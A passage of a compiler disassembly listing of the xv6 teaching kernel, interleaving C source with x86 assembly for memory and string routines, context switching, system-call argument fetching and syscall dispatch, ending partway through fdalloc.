80104352: 8b 4d 10 mov 0x10(%ebp),%ecx
if ((int)dst%4 == 0 && n%4 == 0){
80104355: f6 c2 03 test $0x3,%dl
80104358: 75 05 jne 8010435f <memset+0x1f>
8010435a: f6 c1 03 test $0x3,%cl
8010435d: 74 11 je 80104370 <memset+0x30>
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
8010435f: 89 d7 mov %edx,%edi
80104361: fc cld
80104362: f3 aa rep stos %al,%es:(%edi)
c &= 0xFF;
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
} else
stosb(dst, c, n);
return dst;
}
80104364: 8b 5d f8 mov -0x8(%ebp),%ebx
80104367: 89 d0 mov %edx,%eax
80104369: 8b 7d fc mov -0x4(%ebp),%edi
8010436c: 89 ec mov %ebp,%esp
8010436e: 5d pop %ebp
8010436f: c3 ret
void*
memset(void *dst, int c, uint n)
{
if ((int)dst%4 == 0 && n%4 == 0){
c &= 0xFF;
80104370: 0f b6 f8 movzbl %al,%edi
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
80104373: 89 f8 mov %edi,%eax
80104375: 89 fb mov %edi,%ebx
80104377: c1 e0 18 shl $0x18,%eax
8010437a: c1 e3 10 shl $0x10,%ebx
8010437d: 09 d8 or %ebx,%eax
8010437f: 09 f8 or %edi,%eax
80104381: c1 e7 08 shl $0x8,%edi
80104384: 09 f8 or %edi,%eax
}
static inline void
stosl(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosl" :
80104386: 89 d7 mov %edx,%edi
80104388: c1 e9 02 shr $0x2,%ecx
8010438b: fc cld
8010438c: f3 ab rep stos %eax,%es:(%edi)
} else
stosb(dst, c, n);
return dst;
}
8010438e: 8b 5d f8 mov -0x8(%ebp),%ebx
80104391: 89 d0 mov %edx,%eax
80104393: 8b 7d fc mov -0x4(%ebp),%edi
80104396: 89 ec mov %ebp,%esp
80104398: 5d pop %ebp
80104399: c3 ret
8010439a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801043a0 <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
801043a0: 55 push %ebp
if(*s1 != *s2)
return *s1 - *s2;
s1++, s2++;
}
return 0;
801043a1: 31 c0 xor %eax,%eax
return dst;
}
int
memcmp(const void *v1, const void *v2, uint n)
{
801043a3: 89 e5 mov %esp,%ebp
801043a5: 57 push %edi
801043a6: 8b 7d 10 mov 0x10(%ebp),%edi
801043a9: 56 push %esi
801043aa: 8b 75 0c mov 0xc(%ebp),%esi
801043ad: 53 push %ebx
801043ae: 8b 5d 08 mov 0x8(%ebp),%ebx
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
801043b1: 85 ff test %edi,%edi
801043b3: 74 29 je 801043de <memcmp+0x3e>
if(*s1 != *s2)
801043b5: 0f b6 03 movzbl (%ebx),%eax
{
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
801043b8: 83 ef 01 sub $0x1,%edi
801043bb: 31 d2 xor %edx,%edx
if(*s1 != *s2)
801043bd: 0f b6 0e movzbl (%esi),%ecx
801043c0: 38 c8 cmp %cl,%al
801043c2: 74 14 je 801043d8 <memcmp+0x38>
801043c4: eb 22 jmp 801043e8 <memcmp+0x48>
801043c6: 66 90 xchg %ax,%ax
801043c8: 0f b6 44 13 01 movzbl 0x1(%ebx,%edx,1),%eax
801043cd: 83 c2 01 add $0x1,%edx
801043d0: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
801043d4: 38 c8 cmp %cl,%al
801043d6: 75 10 jne 801043e8 <memcmp+0x48>
{
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
801043d8: 39 d7 cmp %edx,%edi
801043da: 75 ec jne 801043c8 <memcmp+0x28>
if(*s1 != *s2)
return *s1 - *s2;
s1++, s2++;
}
return 0;
801043dc: 31 c0 xor %eax,%eax
}
801043de: 5b pop %ebx
801043df: 5e pop %esi
801043e0: 5f pop %edi
801043e1: 5d pop %ebp
801043e2: c3 ret
801043e3: 90 nop
801043e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s1 = v1;
s2 = v2;
while(n-- > 0){
if(*s1 != *s2)
return *s1 - *s2;
801043e8: 0f b6 c0 movzbl %al,%eax
801043eb: 0f b6 c9 movzbl %cl,%ecx
s1++, s2++;
}
return 0;
}
801043ee: 5b pop %ebx
s1 = v1;
s2 = v2;
while(n-- > 0){
if(*s1 != *s2)
return *s1 - *s2;
801043ef: 29 c8 sub %ecx,%eax
s1++, s2++;
}
return 0;
}
801043f1: 5e pop %esi
801043f2: 5f pop %edi
801043f3: 5d pop %ebp
801043f4: c3 ret
801043f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801043f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104400 <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
80104400: 55 push %ebp
80104401: 89 e5 mov %esp,%ebp
80104403: 57 push %edi
80104404: 8b 45 08 mov 0x8(%ebp),%eax
80104407: 56 push %esi
80104408: 8b 75 0c mov 0xc(%ebp),%esi
8010440b: 53 push %ebx
8010440c: 8b 5d 10 mov 0x10(%ebp),%ebx
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
8010440f: 39 c6 cmp %eax,%esi
80104411: 73 35 jae 80104448 <memmove+0x48>
80104413: 8d 0c 1e lea (%esi,%ebx,1),%ecx
80104416: 39 c8 cmp %ecx,%eax
80104418: 73 2e jae 80104448 <memmove+0x48>
s += n;
d += n;
while(n-- > 0)
8010441a: 85 db test %ebx,%ebx
8010441c: 74 20 je 8010443e <memmove+0x3e>
s = src;
d = dst;
if(s < d && s + n > d){
s += n;
d += n;
8010441e: 8d 3c 18 lea (%eax,%ebx,1),%edi
80104421: 89 da mov %ebx,%edx
return 0;
}
void*
memmove(void *dst, const void *src, uint n)
80104423: f7 db neg %ebx
80104425: 8d 34 19 lea (%ecx,%ebx,1),%esi
80104428: 01 fb add %edi,%ebx
8010442a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
d = dst;
if(s < d && s + n > d){
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
80104430: 0f b6 4c 16 ff movzbl -0x1(%esi,%edx,1),%ecx
80104435: 88 4c 13 ff mov %cl,-0x1(%ebx,%edx,1)
s = src;
d = dst;
if(s < d && s + n > d){
s += n;
d += n;
while(n-- > 0)
80104439: 83 ea 01 sub $0x1,%edx
8010443c: 75 f2 jne 80104430 <memmove+0x30>
} else
while(n-- > 0)
*d++ = *s++;
return dst;
}
8010443e: 5b pop %ebx
8010443f: 5e pop %esi
80104440: 5f pop %edi
80104441: 5d pop %ebp
80104442: c3 ret
80104443: 90 nop
80104444: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
80104448: 31 d2 xor %edx,%edx
8010444a: 85 db test %ebx,%ebx
8010444c: 74 f0 je 8010443e <memmove+0x3e>
8010444e: 66 90 xchg %ax,%ax
*d++ = *s++;
80104450: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
80104454: 88 0c 10 mov %cl,(%eax,%edx,1)
80104457: 83 c2 01 add $0x1,%edx
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
8010445a: 39 d3 cmp %edx,%ebx
8010445c: 75 f2 jne 80104450 <memmove+0x50>
*d++ = *s++;
return dst;
}
8010445e: 5b pop %ebx
8010445f: 5e pop %esi
80104460: 5f pop %edi
80104461: 5d pop %ebp
80104462: c3 ret
80104463: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104469: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104470 <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
80104470: 55 push %ebp
80104471: 89 e5 mov %esp,%ebp
return memmove(dst, src, n);
}
80104473: 5d pop %ebp
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
return memmove(dst, src, n);
80104474: e9 87 ff ff ff jmp 80104400 <memmove>
80104479: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104480 <strncmp>:
}
int
strncmp(const char *p, const char *q, uint n)
{
80104480: 55 push %ebp
while(n > 0 && *p && *p == *q)
n--, p++, q++;
if(n == 0)
return 0;
80104481: 31 c0 xor %eax,%eax
return memmove(dst, src, n);
}
int
strncmp(const char *p, const char *q, uint n)
{
80104483: 89 e5 mov %esp,%ebp
while(n > 0 && *p && *p == *q)
80104485: 8b 55 10 mov 0x10(%ebp),%edx
return memmove(dst, src, n);
}
int
strncmp(const char *p, const char *q, uint n)
{
80104488: 57 push %edi
80104489: 8b 4d 08 mov 0x8(%ebp),%ecx
8010448c: 56 push %esi
8010448d: 53 push %ebx
8010448e: 8b 5d 0c mov 0xc(%ebp),%ebx
while(n > 0 && *p && *p == *q)
80104491: 85 d2 test %edx,%edx
80104493: 74 34 je 801044c9 <strncmp+0x49>
80104495: 0f b6 01 movzbl (%ecx),%eax
80104498: 0f b6 33 movzbl (%ebx),%esi
8010449b: 84 c0 test %al,%al
8010449d: 74 31 je 801044d0 <strncmp+0x50>
8010449f: 89 f2 mov %esi,%edx
801044a1: 38 d0 cmp %dl,%al
801044a3: 74 1c je 801044c1 <strncmp+0x41>
801044a5: eb 29 jmp 801044d0 <strncmp+0x50>
801044a7: 90 nop
n--, p++, q++;
801044a8: 83 c1 01 add $0x1,%ecx
}
int
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
801044ab: 0f b6 73 01 movzbl 0x1(%ebx),%esi
801044af: 0f b6 01 movzbl (%ecx),%eax
n--, p++, q++;
801044b2: 8d 7b 01 lea 0x1(%ebx),%edi
}
int
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
801044b5: 84 c0 test %al,%al
801044b7: 74 17 je 801044d0 <strncmp+0x50>
801044b9: 89 f2 mov %esi,%edx
801044bb: 38 d0 cmp %dl,%al
801044bd: 75 11 jne 801044d0 <strncmp+0x50>
n--, p++, q++;
801044bf: 89 fb mov %edi,%ebx
}
int
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
801044c1: 83 6d 10 01 subl $0x1,0x10(%ebp)
801044c5: 75 e1 jne 801044a8 <strncmp+0x28>
n--, p++, q++;
if(n == 0)
return 0;
801044c7: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
}
801044c9: 5b pop %ebx
801044ca: 5e pop %esi
801044cb: 5f pop %edi
801044cc: 5d pop %ebp
801044cd: c3 ret
801044ce: 66 90 xchg %ax,%ax
{
while(n > 0 && *p && *p == *q)
n--, p++, q++;
if(n == 0)
return 0;
return (uchar)*p - (uchar)*q;
801044d0: 81 e6 ff 00 00 00 and $0xff,%esi
801044d6: 0f b6 c0 movzbl %al,%eax
}
801044d9: 5b pop %ebx
{
while(n > 0 && *p && *p == *q)
n--, p++, q++;
if(n == 0)
return 0;
return (uchar)*p - (uchar)*q;
801044da: 29 f0 sub %esi,%eax
}
801044dc: 5e pop %esi
801044dd: 5f pop %edi
801044de: 5d pop %ebp
801044df: c3 ret
801044e0 <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
801044e0: 55 push %ebp
801044e1: 89 e5 mov %esp,%ebp
801044e3: 57 push %edi
801044e4: 8b 7d 08 mov 0x8(%ebp),%edi
801044e7: 56 push %esi
801044e8: 8b 4d 10 mov 0x10(%ebp),%ecx
801044eb: 53 push %ebx
801044ec: 8b 5d 0c mov 0xc(%ebp),%ebx
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
801044ef: 89 fa mov %edi,%edx
801044f1: eb 14 jmp 80104507 <strncpy+0x27>
801044f3: 90 nop
801044f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801044f8: 0f b6 03 movzbl (%ebx),%eax
801044fb: 83 c3 01 add $0x1,%ebx
801044fe: 88 02 mov %al,(%edx)
80104500: 83 c2 01 add $0x1,%edx
80104503: 84 c0 test %al,%al
80104505: 74 0a je 80104511 <strncpy+0x31>
80104507: 83 e9 01 sub $0x1,%ecx
return 0;
return (uchar)*p - (uchar)*q;
}
char*
strncpy(char *s, const char *t, int n)
8010450a: 8d 71 01 lea 0x1(%ecx),%esi
{
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
8010450d: 85 f6 test %esi,%esi
8010450f: 7f e7 jg 801044f8 <strncpy+0x18>
;
while(n-- > 0)
80104511: 85 c9 test %ecx,%ecx
return 0;
return (uchar)*p - (uchar)*q;
}
char*
strncpy(char *s, const char *t, int n)
80104513: 8d 04 0a lea (%edx,%ecx,1),%eax
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
;
while(n-- > 0)
80104516: 7e 0a jle 80104522 <strncpy+0x42>
*s++ = 0;
80104518: c6 02 00 movb $0x0,(%edx)
8010451b: 83 c2 01 add $0x1,%edx
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
;
while(n-- > 0)
8010451e: 39 c2 cmp %eax,%edx
80104520: 75 f6 jne 80104518 <strncpy+0x38>
*s++ = 0;
return os;
}
80104522: 5b pop %ebx
80104523: 89 f8 mov %edi,%eax
80104525: 5e pop %esi
80104526: 5f pop %edi
80104527: 5d pop %ebp
80104528: c3 ret
80104529: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104530 <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
80104530: 55 push %ebp
80104531: 89 e5 mov %esp,%ebp
80104533: 8b 55 10 mov 0x10(%ebp),%edx
80104536: 56 push %esi
80104537: 8b 75 08 mov 0x8(%ebp),%esi
8010453a: 53 push %ebx
8010453b: 8b 5d 0c mov 0xc(%ebp),%ebx
char *os;
os = s;
if(n <= 0)
8010453e: 85 d2 test %edx,%edx
80104540: 7e 1d jle 8010455f <safestrcpy+0x2f>
80104542: 89 f1 mov %esi,%ecx
80104544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return os;
while(--n > 0 && (*s++ = *t++) != 0)
80104548: 83 ea 01 sub $0x1,%edx
8010454b: 74 0f je 8010455c <safestrcpy+0x2c>
8010454d: 0f b6 03 movzbl (%ebx),%eax
80104550: 83 c3 01 add $0x1,%ebx
80104553: 88 01 mov %al,(%ecx)
80104555: 83 c1 01 add $0x1,%ecx
80104558: 84 c0 test %al,%al
8010455a: 75 ec jne 80104548 <safestrcpy+0x18>
;
*s = 0;
8010455c: c6 01 00 movb $0x0,(%ecx)
return os;
}
8010455f: 89 f0 mov %esi,%eax
80104561: 5b pop %ebx
80104562: 5e pop %esi
80104563: 5d pop %ebp
80104564: c3 ret
80104565: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104569: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104570 <strlen>:
int
strlen(const char *s)
{
80104570: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
80104571: 31 c0 xor %eax,%eax
return os;
}
int
strlen(const char *s)
{
80104573: 89 e5 mov %esp,%ebp
80104575: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
80104578: 80 3a 00 cmpb $0x0,(%edx)
8010457b: 74 0c je 80104589 <strlen+0x19>
8010457d: 8d 76 00 lea 0x0(%esi),%esi
80104580: 83 c0 01 add $0x1,%eax
80104583: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
80104587: 75 f7 jne 80104580 <strlen+0x10>
;
return n;
}
80104589: 5d pop %ebp
8010458a: c3 ret
...
8010458c <swtch>:
# a struct context, and save its address in *old.
# Switch stacks to new and pop previously-saved registers.
.globl swtch
swtch:
movl 4(%esp), %eax
8010458c: 8b 44 24 04 mov 0x4(%esp),%eax
movl 8(%esp), %edx
80104590: 8b 54 24 08 mov 0x8(%esp),%edx
# Save old callee-saved registers
pushl %ebp
80104594: 55 push %ebp
pushl %ebx
80104595: 53 push %ebx
pushl %esi
80104596: 56 push %esi
pushl %edi
80104597: 57 push %edi
# Switch stacks
movl %esp, (%eax)
80104598: 89 20 mov %esp,(%eax)
movl %edx, %esp
8010459a: 89 d4 mov %edx,%esp
# Load new callee-saved registers
popl %edi
8010459c: 5f pop %edi
popl %esi
8010459d: 5e pop %esi
popl %ebx
8010459e: 5b pop %ebx
popl %ebp
8010459f: 5d pop %ebp
ret
801045a0: c3 ret
...
801045b0 <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
801045b0: 55 push %ebp
801045b1: 89 e5 mov %esp,%ebp
801045b3: 53 push %ebx
801045b4: 83 ec 04 sub $0x4,%esp
801045b7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *curproc = myproc();
801045ba: e8 71 f1 ff ff call 80103730 <myproc>
if(addr >= curproc->sz || addr+4 > curproc->sz)
801045bf: 8b 10 mov (%eax),%edx
return -1;
801045c1: b8 ff ff ff ff mov $0xffffffff,%eax
int
fetchint(uint addr, int *ip)
{
struct proc *curproc = myproc();
if(addr >= curproc->sz || addr+4 > curproc->sz)
801045c6: 39 da cmp %ebx,%edx
801045c8: 76 10 jbe 801045da <fetchint+0x2a>
801045ca: 8d 4b 04 lea 0x4(%ebx),%ecx
801045cd: 39 ca cmp %ecx,%edx
801045cf: 72 09 jb 801045da <fetchint+0x2a>
return -1;
*ip = *(int*)(addr);
801045d1: 8b 45 0c mov 0xc(%ebp),%eax
801045d4: 8b 13 mov (%ebx),%edx
801045d6: 89 10 mov %edx,(%eax)
return 0;
801045d8: 31 c0 xor %eax,%eax
}
801045da: 83 c4 04 add $0x4,%esp
801045dd: 5b pop %ebx
801045de: 5d pop %ebp
801045df: c3 ret
801045e0 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
801045e0: 55 push %ebp
801045e1: 89 e5 mov %esp,%ebp
801045e3: 53 push %ebx
801045e4: 83 ec 04 sub $0x4,%esp
801045e7: 8b 5d 08 mov 0x8(%ebp),%ebx
char *s, *ep;
struct proc *curproc = myproc();
801045ea: e8 41 f1 ff ff call 80103730 <myproc>
if(addr >= curproc->sz)
return -1;
801045ef: b9 ff ff ff ff mov $0xffffffff,%ecx
fetchstr(uint addr, char **pp)
{
char *s, *ep;
struct proc *curproc = myproc();
if(addr >= curproc->sz)
801045f4: 39 18 cmp %ebx,(%eax)
801045f6: 76 29 jbe 80104621 <fetchstr+0x41>
return -1;
*pp = (char*)addr;
801045f8: 8b 55 0c mov 0xc(%ebp),%edx
801045fb: 89 1a mov %ebx,(%edx)
ep = (char*)curproc->sz;
801045fd: 8b 10 mov (%eax),%edx
for(s = *pp; s < ep; s++){
801045ff: 39 d3 cmp %edx,%ebx
80104601: 73 1e jae 80104621 <fetchstr+0x41>
if(*s == 0)
80104603: 31 c9 xor %ecx,%ecx
80104605: 89 d8 mov %ebx,%eax
80104607: 80 3b 00 cmpb $0x0,(%ebx)
8010460a: 75 09 jne 80104615 <fetchstr+0x35>
8010460c: eb 13 jmp 80104621 <fetchstr+0x41>
8010460e: 66 90 xchg %ax,%ax
80104610: 80 38 00 cmpb $0x0,(%eax)
80104613: 74 1b je 80104630 <fetchstr+0x50>
if(addr >= curproc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)curproc->sz;
for(s = *pp; s < ep; s++){
80104615: 83 c0 01 add $0x1,%eax
80104618: 39 c2 cmp %eax,%edx
8010461a: 77 f4 ja 80104610 <fetchstr+0x30>
if(*s == 0)
return s - *pp;
}
return -1;
8010461c: b9 ff ff ff ff mov $0xffffffff,%ecx
}
80104621: 83 c4 04 add $0x4,%esp
80104624: 89 c8 mov %ecx,%eax
80104626: 5b pop %ebx
80104627: 5d pop %ebp
80104628: c3 ret
80104629: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(addr >= curproc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)curproc->sz;
for(s = *pp; s < ep; s++){
if(*s == 0)
80104630: 89 c1 mov %eax,%ecx
return s - *pp;
}
return -1;
}
80104632: 83 c4 04 add $0x4,%esp
if(addr >= curproc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)curproc->sz;
for(s = *pp; s < ep; s++){
if(*s == 0)
80104635: 29 d9 sub %ebx,%ecx
return s - *pp;
}
return -1;
}
80104637: 89 c8 mov %ecx,%eax
80104639: 5b pop %ebx
8010463a: 5d pop %ebp
8010463b: c3 ret
8010463c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104640 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
80104640: 55 push %ebp
80104641: 89 e5 mov %esp,%ebp
80104643: 83 ec 08 sub $0x8,%esp
80104646: 89 5d f8 mov %ebx,-0x8(%ebp)
80104649: 8b 5d 08 mov 0x8(%ebp),%ebx
8010464c: 89 75 fc mov %esi,-0x4(%ebp)
8010464f: 8b 75 0c mov 0xc(%ebp),%esi
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
80104652: e8 d9 f0 ff ff call 80103730 <myproc>
80104657: 89 75 0c mov %esi,0xc(%ebp)
}
8010465a: 8b 75 fc mov -0x4(%ebp),%esi
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
8010465d: 8b 40 18 mov 0x18(%eax),%eax
80104660: 8b 40 44 mov 0x44(%eax),%eax
80104663: 8d 44 98 04 lea 0x4(%eax,%ebx,4),%eax
}
80104667: 8b 5d f8 mov -0x8(%ebp),%ebx
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
8010466a: 89 45 08 mov %eax,0x8(%ebp)
}
8010466d: 89 ec mov %ebp,%esp
8010466f: 5d pop %ebp
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
80104670: e9 3b ff ff ff jmp 801045b0 <fetchint>
80104675: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104679: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104680 <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
80104680: 55 push %ebp
80104681: 89 e5 mov %esp,%ebp
80104683: 56 push %esi
80104684: 53 push %ebx
80104685: 83 ec 20 sub $0x20,%esp
80104688: 8b 5d 10 mov 0x10(%ebp),%ebx
int i;
struct proc *curproc = myproc();
8010468b: e8 a0 f0 ff ff call 80103730 <myproc>
80104690: 89 c6 mov %eax,%esi
if(argint(n, &i) < 0)
80104692: 8d 45 f4 lea -0xc(%ebp),%eax
80104695: 89 44 24 04 mov %eax,0x4(%esp)
80104699: 8b 45 08 mov 0x8(%ebp),%eax
8010469c: 89 04 24 mov %eax,(%esp)
8010469f: e8 9c ff ff ff call 80104640 <argint>
801046a4: 85 c0 test %eax,%eax
801046a6: 78 28 js 801046d0 <argptr+0x50>
return -1;
if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz)
801046a8: 85 db test %ebx,%ebx
801046aa: 78 24 js 801046d0 <argptr+0x50>
801046ac: 8b 55 f4 mov -0xc(%ebp),%edx
return -1;
801046af: b8 ff ff ff ff mov $0xffffffff,%eax
int i;
struct proc *curproc = myproc();
if(argint(n, &i) < 0)
return -1;
if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz)
801046b4: 8b 0e mov (%esi),%ecx
801046b6: 39 ca cmp %ecx,%edx
801046b8: 73 0d jae 801046c7 <argptr+0x47>
801046ba: 01 d3 add %edx,%ebx
801046bc: 39 d9 cmp %ebx,%ecx
801046be: 72 07 jb 801046c7 <argptr+0x47>
return -1;
*pp = (char*)i;
801046c0: 8b 45 0c mov 0xc(%ebp),%eax
801046c3: 89 10 mov %edx,(%eax)
return 0;
801046c5: 31 c0 xor %eax,%eax
}
801046c7: 83 c4 20 add $0x20,%esp
801046ca: 5b pop %ebx
801046cb: 5e pop %esi
801046cc: 5d pop %ebp
801046cd: c3 ret
801046ce: 66 90 xchg %ax,%ax
struct proc *curproc = myproc();
if(argint(n, &i) < 0)
return -1;
if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz)
return -1;
801046d0: b8 ff ff ff ff mov $0xffffffff,%eax
801046d5: eb f0 jmp 801046c7 <argptr+0x47>
801046d7: 89 f6 mov %esi,%esi
801046d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801046e0 <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
801046e0: 55 push %ebp
801046e1: 89 e5 mov %esp,%ebp
801046e3: 83 ec 28 sub $0x28,%esp
int addr;
if(argint(n, &addr) < 0)
801046e6: 8d 45 f4 lea -0xc(%ebp),%eax
801046e9: 89 44 24 04 mov %eax,0x4(%esp)
801046ed: 8b 45 08 mov 0x8(%ebp),%eax
801046f0: 89 04 24 mov %eax,(%esp)
801046f3: e8 48 ff ff ff call 80104640 <argint>
801046f8: 89 c2 mov %eax,%edx
return -1;
801046fa: b8 ff ff ff ff mov $0xffffffff,%eax
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
int addr;
if(argint(n, &addr) < 0)
801046ff: 85 d2 test %edx,%edx
80104701: 78 12 js 80104715 <argstr+0x35>
return -1;
return fetchstr(addr, pp);
80104703: 8b 45 0c mov 0xc(%ebp),%eax
80104706: 89 44 24 04 mov %eax,0x4(%esp)
8010470a: 8b 45 f4 mov -0xc(%ebp),%eax
8010470d: 89 04 24 mov %eax,(%esp)
80104710: e8 cb fe ff ff call 801045e0 <fetchstr>
}
80104715: c9 leave
80104716: c3 ret
80104717: 89 f6 mov %esi,%esi
80104719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104720 <syscall>:
[SYS_close] sys_close,
};
void
syscall(void)
{
80104720: 55 push %ebp
80104721: 89 e5 mov %esp,%ebp
80104723: 83 ec 18 sub $0x18,%esp
80104726: 89 5d f8 mov %ebx,-0x8(%ebp)
80104729: 89 75 fc mov %esi,-0x4(%ebp)
int num;
struct proc *curproc = myproc();
8010472c: e8 ff ef ff ff call 80103730 <myproc>
num = curproc->tf->eax;
80104731: 8b 58 18 mov 0x18(%eax),%ebx
void
syscall(void)
{
int num;
struct proc *curproc = myproc();
80104734: 89 c6 mov %eax,%esi
num = curproc->tf->eax;
80104736: 8b 43 1c mov 0x1c(%ebx),%eax
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80104739: 8d 50 ff lea -0x1(%eax),%edx
8010473c: 83 fa 14 cmp $0x14,%edx
8010473f: 77 1f ja 80104760 <syscall+0x40>
80104741: 8b 14 85 00 74 10 80 mov -0x7fef8c00(,%eax,4),%edx
80104748: 85 d2 test %edx,%edx
8010474a: 74 14 je 80104760 <syscall+0x40>
curproc->tf->eax = syscalls[num]();
8010474c: ff d2 call *%edx
8010474e: 89 43 1c mov %eax,0x1c(%ebx)
} else {
cprintf("%d %s: unknown sys call %d\n",
curproc->pid, curproc->name, num);
curproc->tf->eax = -1;
}
}
80104751: 8b 5d f8 mov -0x8(%ebp),%ebx
80104754: 8b 75 fc mov -0x4(%ebp),%esi
80104757: 89 ec mov %ebp,%esp
80104759: 5d pop %ebp
8010475a: c3 ret
8010475b: 90 nop
8010475c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
num = curproc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
curproc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
80104760: 89 44 24 0c mov %eax,0xc(%esp)
curproc->pid, curproc->name, num);
80104764: 8d 46 6c lea 0x6c(%esi),%eax
80104767: 89 44 24 08 mov %eax,0x8(%esp)
num = curproc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
curproc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
8010476b: 8b 46 10 mov 0x10(%esi),%eax
8010476e: c7 04 24 e1 73 10 80 movl $0x801073e1,(%esp)
80104775: 89 44 24 04 mov %eax,0x4(%esp)
80104779: e8 d2 be ff ff call 80100650 <cprintf>
curproc->pid, curproc->name, num);
curproc->tf->eax = -1;
8010477e: 8b 46 18 mov 0x18(%esi),%eax
80104781: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
}
80104788: 8b 5d f8 mov -0x8(%ebp),%ebx
8010478b: 8b 75 fc mov -0x4(%ebp),%esi
8010478e: 89 ec mov %ebp,%esp
80104790: 5d pop %ebp
80104791: c3 ret
...
801047a0 <fdalloc>:
// Allocate a file descriptor for the given file.
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
801047a0: 55 push %ebp
801047a1: 89 e5 mov %esp,%ebp
801047a3: 53 push %ebx
801047a4: 89 c3 mov %eax,%ebx
801047a6: 83 ec 04 sub $0x4,%esp
int fd;
struct proc *curproc = myproc();
801047a9: e8 82 ef ff ff call 80103730 <myproc>
for(fd = 0; fd < NOFILE; fd++){
801047ae: 31 d2 xor %edx,%edx
if(curproc->ofile[fd] == 0){
801047b0: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx
